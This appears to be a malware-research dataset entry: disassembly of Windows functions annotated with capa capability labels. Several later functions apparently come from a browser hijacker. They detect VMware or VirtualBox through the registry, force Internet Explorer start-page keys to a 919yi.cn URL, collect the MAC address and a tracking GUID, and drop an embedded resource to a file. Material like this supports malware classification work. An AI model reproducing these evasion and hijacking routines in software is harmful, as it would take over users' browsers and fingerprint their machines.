joyce8/EMBER2024-capa huggingface dataset:
Function at 0x419f20
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x44e858
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
mov dword [esp + 0x1c], ebx
lea ecx, [esp + 0x30]
mov dword [esp + 0x28], 0
call fcn.00432db3
lea ecx, [esp + 0x30]
call fcn.00432d24
mov eax, dword [0x469bfc]
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x18], eax
call fcn.00423eb0
mov edi, dword [esp + 0x18]
lea edx, [esp + 0xc]
mov esi, 0x469c00
push edx
lea ecx, [esp + 0x14]
mov dword [esp + 0x10], esi
call fcn.00423eb0
cmp edi, dword [esp + 0x10]
je 0x419fc5
mov eax, dword [edi + 8]
mov eax, dword [eax]
push eax
mov eax, dword [esp + 0x34]
push eax
call fcn.00429c46
add esp, 8
test eax, eax
je 0x419fc5
mov edi, dword [edi + 4]
lea ecx, [esp + 0xc]
push ecx
lea ecx, [esp + 0x14]
mov dword [esp + 0x10], esi
call fcn.00423eb0
cmp edi, dword [esp + 0x10]
jne 0x419f93
test edi, edi
je 0x419fd0
mov eax, dword [edi + 8]
test eax, eax
jne 0x419ff5
lea ecx, [esp + 0x30]
mov dword [esp + 0x28], 0xffffffff
call fcn.004352b6
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
add esp, 0x20
ret 4
mov edx, dword [ebx + 0xf0]
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
push ebp
push 0
push 0
push 0x1009
push edx
call esi
mov eax, dword [edi + 8]
mov ecx, dword [eax + 4]
mov edx, dword [ecx - 8]
test edx, edx
je 0x41a059
mov edx, dword [ebx + 0xf0]
mov ebp, dword [eax]
push 0
push 0
push 0x1004
push edx
call esi
push 0
push 0
push 0
push 0
lea esi, [ebx + 0xd4]
push ebp
push eax
push 1
mov ecx, esi
call fcn.00433a33
mov ecx, dword [edi + 8]
mov ecx, dword [ecx + 4]
push ecx
push 1
push eax
mov ecx, esi
call fcn.00433a7f
mov eax, dword [edi + 8]
mov esi, dword [eax + 8]
add eax, 0xc
cmp esi, eax
je 0x41a0bc
add ebx, 0xd4
mov eax, dword [esi + 8]
push 0
push 0
push 0x1004
mov ebp, dword [eax]
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax + 0xf0]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
push 0
push 0
push 0
push 0
push ebp
push eax
push 1
mov ecx, ebx
call fcn.00433a33
mov ecx, dword [esi + 8]
mov ecx, dword [ecx + 4]
push ecx
push 1
push eax
mov ecx, ebx
call fcn.00433a7f
mov eax, dword [edi + 8]
mov esi, dword [esi + 4]
add eax, 0xc
cmp esi, eax
jne 0x41a06c
lea ecx, [esp + 0x34]
mov dword [esp + 0x2c], 0xffffffff
call fcn.004352b6
mov ecx, dword [esp + 0x24]
pop ebp
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 4
Function at 0x41ba40
Capabilities:
Encode data using xor

Disassembly:
push 0xffffffffffffffff
push 0x44ea78
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov eax, dword [0x465e04]
push esi
push edi
mov edi, dword [esp + 0x30]
mov dword [esp + 0x30], eax
mov esi, dword [edi]
lea ecx, [esp + 0x30]
mov dword [esp + 0x28], 0
call fcn.00435241
mov al, byte [esi]
mov byte [esp + 8], 0x55
test al, al
je 0x41bac9
mov ecx, dword [esp + 8]
and eax, 0xff
and ecx, 0xff
lea edx, [esp + 0xc]
xor eax, ecx
mov cl, byte [esp + 8]
push eax
inc cl
push str._02X
push edx
mov byte [esp + 0x14], cl
call fcn.0042a45c
add esp, 0xc
lea eax, [esp + 0xc]
lea ecx, [esp + 0x30]
push eax
call fcn.00435646
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x41ba85
lea ecx, [esp + 0x30]
push ecx
mov ecx, edi
call fcn.004353a3
lea ecx, [esp + 0x30]
mov dword [esp + 0x28], 0xffffffff
call fcn.004352b6
mov ecx, dword [esp + 0x20]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x24
ret

Function at 0x41dc10
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x44ee20
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
push esi
push edi
mov esi, ecx
mov edi, dword [esp + 0x3c]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x34], 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x41dd4c
lea eax, [esp + 0x3c]
lea ecx, [esp + 8]
push eax
call fcn.0043502b
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x38], 1
call fcn.00408460
lea ecx, [esp + 0x10]
mov byte [esp + 0x34], 2
push ecx
lea ecx, [esi + 0xac]
call fcn.00408730
lea ecx, [esp + 0x10]
mov byte [esp + 0x34], 1
call fcn.00408410
lea ecx, [esp + 8]
mov byte [esp + 0x34], 0
call fcn.004352b6
lea edx, [esp + 0x3c]
lea ecx, [esp + 8]
push edx
call fcn.0043502b
push eax
lea ecx, [esi + 0xb8]
mov byte [esp + 0x38], 3
call fcn.004353a3
lea ecx, [esp + 8]
mov byte [esp + 0x34], 0
call fcn.004352b6
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x20]
sub edx, ecx
test edx, edx
jle 0x41dd4c
mov ecx, esi
call fcn.0041dd70
mov ecx, dword [esi + 0xc4]
push 0x467658
call fcn.0043941a
mov eax, dword [esi + 0x98]
test eax, eax
je 0x41dd25
mov eax, dword [esi + 0x1c]
push 0
push 0x32
push 3
push eax
mov dword [esi + 0xd4], 1
call dword [sym.imp.USER32.dll_SetTimer]
mov eax, dword [esi + 0x98]
test eax, eax
jne 0x41dd42
lea ecx, [esp + 0xc]
push ecx
push 0
push esi
push 0x41d8d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x98], eax
mov dword [esi + 0xd8], 1
lea ecx, [esp + 0x3c]
mov dword [esp + 0x34], 0xffffffff
call fcn.004352b6
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x30
ret 4
Function at 0x42fdc4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x467148
cmp edx, dword [eax]
je 0x42fde6
add eax, 8
inc ecx
cmp eax, 0x4671d8
jl 0x42fdd7
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x467148]
jne 0x42ff14
mov eax, dword [0x472fec]
cmp eax, 1
je 0x42feee
test eax, eax
jne 0x42fe17
cmp dword [0x466934], 1
je 0x42feee
cmp edx, 0xfc
je 0x42ff14
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x42fe4e
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00430270
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00430000
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x42fe91
lea eax, [ebp - 0x1a4]
push eax
call fcn.00430000
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x459520
push edi
call fcn.0042a590
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00430270
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00430280
lea eax, [ebp - 0xa0]
push 0x459500
push eax
call fcn.00430280
push dword [esi + 0x46714c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00430280
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00431727
add esp, 0x2c
pop edi
jmp 0x42ff14
lea eax, [ebp + 8]
lea esi, [esi + 0x46714c]
push 0
push eax
push dword [esi]
call fcn.00430000
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x435a28
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x435a4a
cmp dword [edi + 0x3c], 0
jne 0x435a4a
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.00449cb5
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.00435a77
pop edi
pop esi
pop ebx
ret 8

Function at 0x43707e
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4370b6
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00435711
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004356e9
jmp 0x4370c2
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4
Function at 0x438b21
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x438b63
call fcn.00449cb5
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x438b63
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x438b5a
xor eax, eax
jmp 0x438b6b
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00438b71
pop edi
pop esi
pop ebx
ret 4

Function at 0x43a756
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push edi
push dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x43a786
push edi
call ebx
push eax
call fcn.0043b7b3
push esi
mov esi, dword [ebp + 0xc]
movzx eax, byte [esi + 0x10]
cmp eax, dword [ebp - 4]
je 0x43a7b0
test byte [ebp - 4], 1
je 0x43a7b0
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x43a7b0
push edi
call ebx
push eax
call fcn.0043b7b3
cmp dword [esi + 4], edi
lea eax, [esi + 4]
je 0x43a856
lea ecx, [ebp - 0x24]
push ecx
push eax
call fcn.0043a6a3
cmp dword [esi + 8], edi
lea eax, [esi + 8]
pop ecx
pop ecx
je 0x43a7e2
lea ecx, [ebp - 0x14]
push ecx
push eax
call fcn.0043a6a3
pop ecx
lea eax, [ebp - 0x14]
pop ecx
mov dword [ebp - 8], eax
cmp dword [esi], edi
je 0x43a7f8
lea eax, [ebp - 0x1c]
push eax
push esi
call fcn.0043a6a3
pop ecx
lea eax, [ebp - 0x1c]
pop ecx
mov dword [ebp - 0xc], eax
push edi
push 0x80
push 3
push edi
push 1
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x43a822
push 0
call ebx
push eax
call fcn.0043b7b3
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x43a840
push eax
call ebx
push eax
call fcn.0043b7b3
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x43a854
push eax
call ebx
push eax
call fcn.0043b7b3
xor edi, edi
movzx eax, byte [esi + 0x10]
cmp eax, dword [ebp - 4]
pop esi
je 0x43a87d
test byte [ebp - 4], 1
jne 0x43a87d
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x43a87d
push edi
call ebx
push eax
call fcn.0043b7b3
pop edi
pop ebx
leave
ret 8
Function at 0x44abca
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov dword [ebp - 8], ecx
call fcn.00449cb5
mov esi, dword [eax + 0xc]
push 0xf1
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x44ac07
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x44ac07
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x44ac0b
xor eax, eax
jmp 0x44ac89
movzx eax, word [esi + 6]
push ebx
push edi
shl eax, 2
push eax
call fcn.0043583c
and dword [ebp - 4], 0
cmp word [esi + 6], 0
pop ecx
mov ebx, eax
jbe 0x44ac43
mov ecx, ebx
lea eax, [esi + 8]
movzx edx, word [eax]
inc dword [ebp - 4]
mov dword [ecx], edx
movzx edx, word [esi + 6]
inc eax
add ecx, 4
inc eax
cmp dword [ebp - 4], edx
jl 0x44ac2d
movzx eax, word [esi + 6]
mov ecx, dword [ebp - 8]
push eax
push ebx
call fcn.0044ad7a
push ebx
mov edi, eax
call fcn.00435865
test edi, edi
pop ecx
je 0x44ac85
movzx ecx, word [esi + 4]
movzx eax, word [esi + 2]
lea esi, [ecx + 7]
push ecx
mov ecx, dword [ebp - 8]
lea edx, [eax + 7]
push eax
push esi
push edx
call fcn.0044ab43
push dword [ebp + 8]
mov ecx, dword [ebp - 8]
call fcn.0044ac8e
mov edi, eax
mov eax, edi
pop edi
pop ebx
pop esi
leave
ret 4

Function at 0x44b469
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x44b497
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x44b4b5
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0044b3cf
jmp 0x44b4b5
mov eax, dword [esi + 0x14]
test eax, eax
je 0x44b4b5
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0044b3cf
test edi, edi
mov eax, edi
jne 0x44b49f
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401d60
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x4213fc]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x256
push eax
mov word [ebp - 0x25c], ax
lea eax, [ebp - 0x25a]
push eax
mov dword [ebp - 0x260], 1
mov dword [ebp - 0x264], 0x12c
call fcn.0040be40
add esp, 0xc
lea eax, [ebp - 0x264]
push eax
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x260]
push eax
push 0x41da1c
push str.SYSTEMControlSet001ControlClass4D36E968_E325_11CE_BFC1_08002BE103180000
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
test eax, eax
je 0x401de3
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408076
mov esp, ebp
pop ebp
ret
mov ecx, str.VMware__Inc.
lea eax, [ebp - 0x25c]
mov edi, edi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401e16
test dx, dx
je 0x401e12
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401e16
add eax, 4
add ecx, 4
test dx, dx
jne 0x401df0
xor eax, eax
jmp 0x401e1b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401e32
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408076
mov esp, ebp
pop ebp
ret
mov ecx, str.Oracle_Corporation
lea eax, [ebp - 0x25c]
lea ecx, [ecx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401e66
test dx, dx
je 0x401e62
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401e66
add eax, 4
add ecx, 4
test dx, dx
jne 0x401e40
xor ecx, ecx
jmp 0x401e6b
sbb ecx, ecx
or ecx, 1
xor eax, eax
test ecx, ecx
mov ecx, dword [ebp - 4]
sete al
xor ecx, ebp
call fcn.00408076
mov esp, ebp
pop ebp
ret
Function at 0x401e80
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4176cb
mov eax, dword fs:[0]
push eax
sub esp, 0x274
mov eax, dword [0x4213fc]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov edi, ecx
test edi, edi
je 0x402061
test esi, esi
je 0x402061
xor eax, eax
push 0x256
push eax
mov word [ebp - 0x268], ax
lea eax, [ebp - 0x266]
push eax
call fcn.0040be40
add esp, 0xc
lea eax, [ebp - 0x268]
push esi
push edi
push str.jiuyisecretsid_sm_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x268]
push eax
lea ecx, [ebp - 0x280]
call fcn.00403140
mov dword [ebp - 4], 0
cmp dword [ebp - 0x26c], 8
lea eax, [ebp - 0x280]
cmovae eax, dword [ebp - 0x280]
push eax
call fcn.00404730
mov edx, eax
cmp word [edx], 0
jne 0x401f36
xor ecx, ecx
jmp 0x401f4f
mov ecx, edx
lea ebx, [ecx + 2]
jmp 0x401f40
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401f40
sub ecx, ebx
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x280]
call fcn.004032a0
push 0x258
lea eax, [ebp - 0x268]
push 0
push eax
call fcn.0040be40
add esp, 0xc
cmp dword [ebp - 0x26c], 8
lea eax, [ebp - 0x280]
cmovae eax, dword [ebp - 0x280]
push eax
push esi
push edi
lea eax, [ebp - 0x268]
push str.http:__www.919yi.cn__id_sm_ssM_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea edi, [ebp - 0x268]
add esp, 0x14
lea ecx, [edi + 2]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x401fa7
mov esi, dword [sym.imp.SHLWAPI.dll_SHSetValueW]
sub edi, ecx
sar edi, 1
lea eax, [ebp - 0x268]
lea edi, [edi*2 + 2]
push edi
push eax
push 1
push str.IEHome
push str.SOFTWARE9ENetwork
push reloc.OLEAUT32.dll_SysReAllocString
call esi
push edi
lea eax, [ebp - 0x268]
push eax
push 1
push str.Start_Page
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocString
call esi
push edi
lea eax, [ebp - 0x268]
push eax
push 1
push str.Start_Page
push str.SoftwarePoliciesMicrosoftInternet_ExplorerMain
push SysReAllocString
call esi
push edi
lea eax, [ebp - 0x268]
push eax
push 1
push str.Start_Page
push str.SOFTWAREMicrosoftInternet_ExplorerMain
push reloc.OLEAUT32.dll_SysReAllocString
call esi
push edi
lea eax, [ebp - 0x268]
push eax
push 1
push str.Start_Page
push str.SOFTWAREPoliciesMicrosoftInternet_ExplorerMain
push reloc.OLEAUT32.dll_SysReAllocString
call esi
cmp dword [ebp - 0x26c], 8
jb 0x402061
push dword [ebp - 0x280]
call fcn.0040883d
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00408076
mov esp, ebp
pop ebp
ret
Function at 0x402080
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x49c
mov eax, dword [0x4213fc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x424dac]
push esi
test al, 1
jne 0x4020ce
or eax, 1
mov dword [0x424dac], eax
xor eax, eax
push 0x417bb0
mov dword [0x424fec], 7
mov dword [0x424fe8], 0
mov word [0x424fd8], ax
call fcn.004087f9
add esp, 4
lea eax, [ebp - 0x49c]
push eax
lea eax, [ebp - 0x498]
push eax
mov dword [ebp - 0x49c], 0
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
cmp eax, 0x6f
jne 0x40213e
push dword [ebp - 0x49c]
call fcn.0040899a
mov esi, eax
add esp, 4
test esi, esi
je 0x40213e
lea eax, [ebp - 0x49c]
push eax
push esi
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x40213e
cmp dword [esi + 0x1a0], 6
jne 0x402138
lea eax, [esi + 0x10c]
push str.Bluetooth
push eax
call fcn.00408a30
add esp, 8
test eax, eax
je 0x402152
mov esi, dword [esi]
test esi, esi
jne 0x402117
mov eax, str.ERROR_MAC
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408076
mov esp, ebp
pop ebp
ret
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.0040be40
movzx eax, byte [esi + 0x199]
push eax
movzx eax, byte [esi + 0x198]
push eax
movzx eax, byte [esi + 0x197]
push eax
movzx eax, byte [esi + 0x196]
push eax
movzx eax, byte [esi + 0x195]
push eax
movzx eax, byte [esi + 0x194]
push eax
lea eax, [ebp - 0x210]
push 0x41ddc0
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x2c
lea eax, [ebp - 0x210]
mov esi, 0x424fd8
push eax
mov ecx, esi
call fcn.00403250
cmp dword [0x424fec], 8
mov ecx, dword [ebp - 4]
cmovae esi, dword [0x424fd8]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00408076
mov esp, ebp
pop ebp
ret
Function at 0x402700
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
mov eax, dword [0x4213fc]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x1fe
push eax
mov word [ebp - 0x460], ax
lea eax, [ebp - 0x45e]
push eax
mov dword [ebp - 0x474], 1
mov dword [ebp - 0x478], 0x100
call fcn.0040be40
xor eax, eax
push 0x1fe
push eax
mov word [ebp - 0x208], ax
lea eax, [ebp - 0x206]
push eax
call fcn.0040be40
add esp, 0x18
lea eax, [ebp - 0x478]
push eax
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x474]
push eax
push str.9E_PID
push str.SOFTWARE9ENetwork
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
lea eax, [ebp - 0x208]
lea ecx, [ebp - 0x460]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x4027bc
test dx, dx
je 0x4027b8
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x4027bc
add ecx, 4
add eax, 4
test dx, dx
jne 0x402796
xor eax, eax
jmp 0x4027c1
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4028a1
lea eax, [ebp - 0x470]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
jne 0x4028a1
push 0x256
push eax
mov word [ebp - 0x260], ax
lea eax, [ebp - 0x25e]
push eax
call fcn.0040be40
movzx eax, byte [ebp - 0x461]
push eax
movzx eax, byte [ebp - 0x462]
push eax
movzx eax, byte [ebp - 0x463]
push eax
movzx eax, byte [ebp - 0x464]
push eax
movzx eax, byte [ebp - 0x465]
push eax
movzx eax, byte [ebp - 0x466]
push eax
movzx eax, byte [ebp - 0x467]
push eax
movzx eax, byte [ebp - 0x468]
push eax
movzx eax, word [ebp - 0x46a]
push eax
movzx eax, word [ebp - 0x46c]
push eax
push dword [ebp - 0x470]
lea eax, [ebp - 0x260]
push str._08X_04X_04x_02X_02X_02X_02X_02X_02X_02X_02X
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea ecx, [ebp - 0x260]
add esp, 0x40
lea edx, [ecx + 2]
jmp 0x402870
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402870
sub ecx, edx
sar ecx, 1
lea eax, [ecx + ecx]
push eax
lea eax, [ebp - 0x260]
push eax
push 1
push str.9E_PID
push str.SOFTWARE9ENetwork
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408076
mov esp, ebp
pop ebp
ret
Function at 0x402940
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x417698
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x4213fc]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], ecx
movzx eax, dx
push 0x41e6f8
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
push dword [ebp - 0x34]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
lea ecx, [ebp - 0x30]
push ecx
push edi
push esi
push eax
mov dword [ebp - 0x38], eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x402a31
push 0x1f
push str.9eError:mReleaseRes__WriteFile
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], eax
mov word [ebp - 0x2c], ax
call fcn.004032a0
push dword [ebp - 0x34]
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], 0
call fcn.004037d0
add esp, 4
lea ecx, [ebp - 0x2c]
push eax
call fcn.004031a0
cmp dword [ebp - 0x3c], 8
jb 0x402a20
push dword [ebp - 0x50]
call fcn.0040883d
add esp, 4
cmp dword [ebp - 0x18], 8
jb 0x402a31
push dword [ebp - 0x2c]
call fcn.0040883d
add esp, 4
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00408076
mov esp, ebp
pop ebp
ret